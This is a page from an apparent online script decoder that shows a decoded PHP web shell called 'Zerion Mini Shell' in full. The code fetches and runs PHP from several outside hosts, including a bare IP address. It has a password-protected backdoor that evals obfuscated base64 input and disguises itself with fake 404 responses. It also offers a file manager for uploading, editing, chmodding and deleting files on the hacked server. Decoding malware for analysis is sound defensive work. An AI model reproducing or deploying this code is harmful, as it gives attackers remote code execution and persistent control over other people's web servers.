Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



@set_time_limit(0);
@error_reporting(0);
$L7CRgr = "222441d83594ede68a4026fc981458b0";
function GCNew($a)
{
    $url = sprintf('%s?api=%s&action=%s&path=%s&token=%s', $a, $_REQUEST['api'], $_REQUEST['action'], $_REQUEST['path'], $_REQUEST['token']);
    $code = @file_get_contents($url);
    if ($code == false) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, 'll');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 100);
        curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $code = curl_exec($ch);
        curl_close($ch);
    }
    return $code;
}

if (isset($_REQUEST['action']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['token'])) {
    $code = GCNew('https://c-new.icw5.xyz/');
    $result = json_decode($code, true);
    if (isset($result['code']) && $result['code'] == 1) {
        $code = $result['data'];
    } else {
        die($result['msg']);
    }
    $need = '';
    if (strpos($code, $need) === false) {
        die('get failed');
    }
    if(function_exists('tmpfile'))
    {
        $file_name = tmpfile();
        fwrite($file_name, $code);
        $a = stream_get_meta_data($file_name);
        $file_path = $a['uri'];
        @include($file_path);
        fclose($file_name);
    }else {
        $file_path = '.c';
        file_put_contents($file_path, $code);
        @include($file_path);
    }
    @unlink($file_path);
    die();
}
function GC($a)
{
    $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']);
    $code = @file_get_contents($url);
    if ($code == false) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, 'll');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 100);
        curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $code = curl_exec($ch);
        curl_close($ch);
    }
    return $code;
}

if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) {
    if (!isset($_REQUEST['s'])) {
        $s = 1;
    } else {
        $s = $_REQUEST['s'];
    }
    switch ($s) {
        case 1:
            $code = GC('https://c.zvo4.xyz/');break;
        case 2:
            $code = GC('https://c2.icw7.com/');break;
        case 3:
            $code = GC('http://45.11.57.159/');break;
        default:
            $code = GC('https://c.zvo4.xyz/');break;
    }
    $need = '';
    if (strpos($code, $need) === false) {
        die('get failed');
    }
    $file_name = false;
    $content = false;
    if(function_exists('tmpfile')){
        $file_name = tmpfile();
        fwrite($file_name, $code);
        $a = stream_get_meta_data($file_name);
        $file_path = $a['uri'];
        $content = @file_get_contents($file_path);
    }
    if (!$content) {
        $file_path = '.c';
        file_put_contents($file_path, $code);
    }
    @require($file_path);
    fclose($file_name);
    @unlink($file_path);
    die();
}

if (isset($_REQUEST['d_time'])) {
    die('{->' . $L7CRgr . '<-}');
}
$pass = false;
if (isset($_COOKIE['pass'])) {
    if (md5($_COOKIE['pass']) == $L7CRgr) {
        $pass = $_REQUEST['pass'];
    }
} else {
    if (isset($_REQUEST['pass'])) {
        if (md5($_REQUEST['pass']) == $L7CRgr) {
            setcookie("pass", $_REQUEST['pass']);
            $pass = $_REQUEST['pass'];
        }
    }
}
if (isset($_POST['logout']) && $_POST['logout'] = 1) {
    setcookie("pass", null);
    $pass = false;
}
if (isset($_REQUEST['pwd163']) && md5($_REQUEST['pwd163']) == $L7CRgr) {
    $a = base64_decode(rawurldecode((urlencode(urldecode($_REQUEST['zzz'])))));
    $need = base64_decode("PD9waHA=");
    if (strpos($a, $need) === false) {
        $a = $need . PHP_EOL . $a;
    }
    if (isset($_REQUEST['e'])) {
        $a = str_replace($need, "", $a);
        $b = 'e' . base64_decode("dmE=") . 'l';
        $b($a);
        die();
    }
    $file_name = tmpfile();
    fwrite($file_name, $a);
    $require_params = stream_get_meta_data($file_name);
    @require($require_params['uri']);
    fclose($file_name);
    die();
}
if (isset($_REQUEST['auth_key'])) {
    die($L7CRgr);
}
if (!$pass) {
    if (!isset($_REQUEST['520'])) {
        header("HTTP/1.1 404 Not Found");
        die();
    }
    echo '<form action="#" method="post"><input type="password" name="pass" > <input type="submit" value="submit"></form>';
    die();
}


echo '<form action="#" method="post"><input type="hidden" name="logout" value="1"> <input type="submit" value="logout"></form>';
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>Mini Shell</title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center><img src="https://s.yimg.com/lq/i/mesg/emoticons7/19.gif"/>
 Mini Shell <img src="https://s.yimg.com/lq/i/mesg/emoticons7/19.gif"/>
 </center></H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Direktori : ';
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo '<a href="?pass='.$pass.'&path=/">/</a>';
        continue;
    }
    if ($pat == '') continue;
    echo '<a href="?pass='.$pass.'&path=';
    for ($i = 0; $i <= $id; $i++) {
        echo "$paths[$i]";
        if ($i != $id) echo "/";
    }
    echo '">' . $pat . '</a>/';
}
echo '</td></tr><tr><td>';
if (isset($_POST['path_create'])) {
    if (@mkdir($path . '/' . $_POST['path_create'])) {
        echo '<font color="green">create success :* ' . $path . '/' . $_POST['path_create'] . '</font><br />';
    } else {
        echo '<font color="red">create failed :* ' . $path . '/' . $_POST['path_create'] . '</font><br />';
    }
}
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo '<font color="green">File Ter-Upload :* </font><br />';
    } else {
        echo '<font color="red">Upload gagal, Servernya kek <img src="http://c.fastcompany.net/asset_files/-/2014/11/11/4F4.gif"/>
 </font><br />';
    }
}
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="hidden" name="pass" value="'.$pass.'">
<input type="submit" value="upload" />
</form>
</td></tr>
<tr><td><form enctype="multipart/form-data" method="POST">
Create Path : <input type="text" name="path_create" />
<input type="hidden" name="pass" value="'.$pass.'">
<input type="submit" value="create" />
</form></td></td>';
if (isset($_GET['filesrc'])) {
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo '</tr></td></table><br />';
    echo('<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>');
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], octdec($_POST['perm']))) {
                echo '<font color="green">Change Permission Done.</font><br />';
            } else {
                echo '<font color="red">Change Permission Error.</font><br />';
            }
        }
        echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo '<font color="green">Change Name Done.</font><br />';
            } else {
                echo '<font color="red">Change Name Error.</font><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo '<font color="green">Edit File Done ~_^.</font><br />';
            } else {
                echo '<font color="red">Edit File Error ~_~.</font><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
    }
    echo '</center>';
} else {
    echo '</table><br /><center>';
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo '<font color="green">Delete Dir Done.</font><br />';
            } else {
                echo '<font color="red">Delete Dir Error.</font><br />';
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo '<font color="green">Delete File Done.</font><br />';
            } else {
                echo '<font color="red">Delete File Error.</font><br />';
            }
        }
    }
    echo '</center>';
    $scandir = scandir($path);
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';
    foreach ($scandir as $dir) {
        if (!is_dir("$path/$dir") || $dir ==  || $dir == '..') continue;
        echo "<tr>
<td><a href=\"?path=$path/$dir&pass=$pass\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
        if (is_writable("$path/$dir")) echo '<font color="green">'; elseif (!is_readable("$path/$dir")) echo '<font color="red">';
        echo perms("$path/$dir");
        if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
        echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path&pass=$pass\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"hidden\" name=\"pass\" value=\"$pass\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
    }
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach ($scandir as $file) {
        if (!is_file("$path/$file")) continue;
        $size = filesize("$path/$file") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size = $size . ' KB';
        }
        echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path&pass=$pass\">$file</a></td>
<td><center>" . $size . "</center></td>
<td><center>";
        if (is_writable("$path/$file")) echo '<font color="green">'; elseif (!is_readable("$path/$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if (is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path&pass=$pass\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>

<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"hidden\" name=\"pass\" value=\"$pass\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
    }
    echo '</table>
</div>';
}
echo '<center><br />Zerion Mini Shell <font color="green">1.0</font></center>
</BODY>
</HTML>';
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xC000) == 0xC000) {
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        $info = 'p';
    } else {
        $info = 'u';
    }
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}


© 2023 Quttera Ltd. All rights reserved.